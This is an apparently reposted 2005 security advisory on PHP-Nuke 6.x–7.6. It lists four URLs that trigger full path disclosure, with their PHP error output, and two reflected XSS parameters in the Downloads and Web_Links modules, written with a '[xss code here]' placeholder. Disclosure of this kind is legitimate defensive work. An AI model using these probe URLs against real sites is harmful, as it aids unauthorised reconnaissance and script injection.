Php-Nuke Full Path Disclosure Hole

[AlphaWolf]

Full path disclosure and XSS in PhpNuke 6.x-7.6





Author: Janek Vind "waraxe"
Date: 14. February 2005
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-40.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular opensource content management system, written in php by
Francisco Burzi. This CMS is used on many thousands websites, because it's
freeware, easy to install and manage and has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - full path disclosure in "db/db.php":

http://localhost/nuke75/db/db.php

Fatal error: Cannot instantiate non-existent class:
sql_db in D:apache_wwwroot
uke75dbdb.php
on line 86


A2 - full path disclosure in "mainfile.php":

http://localhost/nuke75/index.php?inside_mod=1

Warning: main(../../config.php): failed to open stream:
No such file or directory in D:apache_wwwroot
uke75mainfile.php
on line 103

Fatal error: main(): Failed opening required '../../config.php'
(include_path='.;c:php4pear') in D:apache_wwwroot
uke75mainfile.php
on line 10


A3 - full path disclosure in "modules/Downloads/index.php":

http://localhost/nuke75/modules.php?name=Downloads&d_op=menu

error: Call to undefined function: opentable() in
D:apache_wwwroot
uke75modulesDownloadsindex.php on line 75



A4 - full path disclosure in "modules/Web_Links/index.php":

http://localhost/nuke75/modules.php?name=Web_Links&l_op=menu

Fatal error: Call to undefined function: opentable() in
D:apache_wwwroot
uke75modulesWeb_Linksindex.php on line 65



B - Cross-Site Scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - xss in "/modules/Downloads/index.php":

http://localhost/nuke75/modules.php?name=Downloads&d_op=NewDownloads
&newdownloadshowdays=[xss code here]


B2 - xss in "/modules/Web_Links/index.php":

http://localhost/nuke75/modules.php?name=Web_Links&l_op=NewLinks
&newlinkshowdays=[xss code here]



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


How to fix those bugs - http://www.waraxe.us/forums.html


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Base64 encoder and decoder - http://base64-encoder-online.waraxe.us/

SiteMapper - free php script for phpNuke powered websites -
new version 0.2 available for download - http://sitemapper.waraxe.us/